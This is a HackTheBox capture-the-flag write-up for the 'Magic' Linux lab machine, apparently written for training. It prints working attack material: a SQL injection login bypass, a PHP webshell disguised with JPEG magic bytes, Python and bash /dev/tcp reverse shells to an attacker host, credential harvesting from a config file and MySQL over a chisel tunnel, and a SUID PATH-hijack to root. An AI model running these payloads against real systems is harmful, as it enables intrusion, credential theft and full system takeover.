# Magic Writeup - HackTheBox

> SQL injection auth bypass, webshell upload via image magic bytes, mysqldump credential harvesting, and suid binary PATH hijack for root.

- **URL:** https://hackindex.io/writeups/magic
- **Platform:** HackTheBox
- **Difficulty:** Medium
- **Operating system:** Linux
- **Machine:** https://app.hackthebox.com/machines/Magic
- **Tags:** sql-injection, file-upload, authentication-bypass, webshell, mysql, privilege-escalation, suid, path-hijacking
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-07-30
- **Updated:** 2026-07-30

Magic is a Linux box that chains a SQL injection auth bypass into a polyglot image upload for RCE, then reuses a database password to reach a real OS account, and finishes with a PATH hijack against a custom SUID binary. Set the working variables:

```bash
TARGET_IP=<Magic address>
```

## Reconnaissance

### Port scan

RustScan for a fast look at open ports:

```bash
rustscan -a $TARGET_IP
# PORT   STATE SERVICE REASON
# 22/tcp open  ssh     syn-ack ttl 63
# 80/tcp open  http    syn-ack ttl 63
```

Service and version detail on the two open ports:

```bash
nmap -sCV -T4 -p22,80 $TARGET_IP -oA nmap/nmap
# 22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
# 80/tcp open  http    Apache httpd 2.4.29
# Service Info: Host: 127.0.1.1; OS: Linux
```

OpenSSH 7.6p1 and Apache 2.4.29. SSH has no obvious version bug, so the web app is the way in.

## Web Enumeration

Directory brute force with ffuf. The first pass without a size filter was noisy because the wordlist comment lines reflected back as false 200s at size 4052, so I filtered them out:

```bash
ffuf -u http://$TARGET_IP/FUZZ \
  -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt \
  -e .php -mc 200 -fs 4052
# login.php   [Status: 200, Size: 4221, Words: 1179, Lines: 118]
# index.php   [Status: 200, Size: 4051, Words: 491, Lines: 60]
```

`login.php` is a login portal. That is the next target.

## Initial Access

### SQL injection auth bypass

Default creds failed on `login.php`. A classic boolean auth bypass in the username field worked:

```sql
' OR 1=1-- -
```

That logged straight in and dropped me into the app, which has an image upload feature.

### Polyglot image upload to RCE

The upload validates on image content, so I built a polyglot: valid JPEG magic bytes followed by a PHP payload. Apache still executes it as PHP because of the `.php.jpg` double extension:

```bash
printf '\xFF\xD8\xFF\xE0<?php echo "It is working!"; system($_REQUEST["cmd"]); ?>' > shell.php.jpg
```

Upload succeeded. Now I need to find where it landed.

### Locating the shell

feroxbuster to map the upload path:

```bash
feroxbuster -u http://$TARGET_IP/ \
  -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt
# 301  GET  http://$TARGET_IP/images => /images/
# 301  GET  http://$TARGET_IP/images/uploads => /images/uploads/
# 200  GET  http://$TARGET_IP/images/uploads/logo.png
# 200  GET  http://$TARGET_IP/login.php
# <snip static assets and stock gallery images under /images/fulls and /assets>
```

Uploads land in `/images/uploads/`. Confirm execution:

```bash
curl 'http://$TARGET_IP/images/uploads/shell.php.jpg?cmd=whoami'
#     It is working!www-data
```

Arbitrary command execution as `www-data`.

### Reverse shell

Fire a Python one liner through the `cmd` parameter:

```bash
http://$TARGET_IP/images/uploads/shell.php.jpg?cmd=export RHOST="$ATTACKER_IP";export RPORT=$ATTACKER_PORT;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
```

Catch it:

```bash
nc -lvnp $ATTACKER_PORT
```

Shell as `www-data`. Time to hunt for credentials.

## Lateral Movement

### Database credentials on disk

The web root holds a config file with DB creds:

```bash
cat db.php5
# <?php
# class Database
# {
#     private static $dbName = 'Magic' ;
#     private static $dbHost = 'localhost' ;
#     private static $dbUsername = 'theseus';
#     private static $dbUserPassword = '$THESEUS_DB_PASSWORD';
# <snip>
```

DB login is `theseus` with `$THESEUS_DB_PASSWORD`. No MySQL client on the box though:

```bash
mysql -u theseus -p -D Magic
# Command 'mysql' not found, but can be installed with:
# apt install mysql-client-core-5.7
```

MySQL is bound to localhost. I will tunnel it back to my box.

### Chisel tunnel to MySQL

Attacker side:

```bash
chisel server -p 8000 --reverse
```

Target side:

```bash
chmod +x chisel
./chisel client $ATTACKER_IP:8000 R:3306:127.0.0.1:3306
# client: Connected (Latency 294ms)
```

The target's `127.0.0.1:3306` is now reachable locally at `127.0.0.1:3306`.

### Loot the login table

```bash
mysql -h 127.0.0.1 -P 3306 -u theseus -p'$THESEUS_DB_PASSWORD'
# MySQL [(none)]> use Magic
# MySQL [Magic]> show tables;
# +-----------------+
# | Tables_in_Magic |
# +-----------------+
# | login           |
# +-----------------+
# MySQL [Magic]> select * from login;
# +----+----------+-------------------+
# | id | username | password          |
# +----+----------+-------------------+
# |  1 | admin    | $ADMIN_PASSWORD   |
# +----+----------+-------------------+
```

The `admin` password `$ADMIN_PASSWORD` is worth testing for reuse. SSH rejects it because the account is key only:

```bash
ssh theseus@$TARGET_IP
# theseus@$TARGET_IP: Permission denied (publickey).
```

But `su` from the existing webshell does not care about SSH policy:

```bash
su theseus
# Password:
# theseus@ubuntu:/tmp$
```

Shell as `theseus`, user access reached. Now for root.

## Privilege Escalation

### SUID enumeration

```bash
find / -type f -perm -4000 -exec ls -l {} \; 2>/dev/null
# -rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo
# <snip standard distro and snap-core SUID binaries: passwd, newgrp, sudo, pkexec, su,
# mount, umount, ping, chfn, chsh, gpasswd, ssh-keysign, none of them abnormal>
```

`/bin/sysinfo` is non standard, owned `root:users` and part of no stock package. That is the lead.

### Analyzing sysinfo

```bash
strings /bin/sysinfo
# ====================Hardware Info====================
# lshw -short
# ====================Disk Info====================
# fdisk -l
# ====================CPU Info====================
# cat /proc/cpuinfo
# ====================MEM Usage=====================
# free -h
```

It shells out to `free`, `fdisk`, `lshw` by bare name, no absolute paths. Running SUID root, that is a PATH hijack.

### PATH hijack to root

Plant a malicious `free` in `/tmp`, prepend `/tmp` to `$PATH`, and run the binary:

```bash
printf '#!/bin/bash\n/bin/bash -p\n' > /tmp/free
chmod +x /tmp/free
export PATH=/tmp:$PATH
/bin/sysinfo
# ...
# ====================MEM Usage=====================
# root@ubuntu:/tmp#
```

`sysinfo` resolved `free` from `/tmp` and ran `/bin/bash -p` as root.

### Stable root session

The SUID shell printed output roughly, so I kicked back a clean reverse shell:

```bash
sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1
```

```bash
nc -lvnp $ATTACKER_PORT
# connect from $TARGET_IP
# # whoami
# root
```

Root reached.

Related
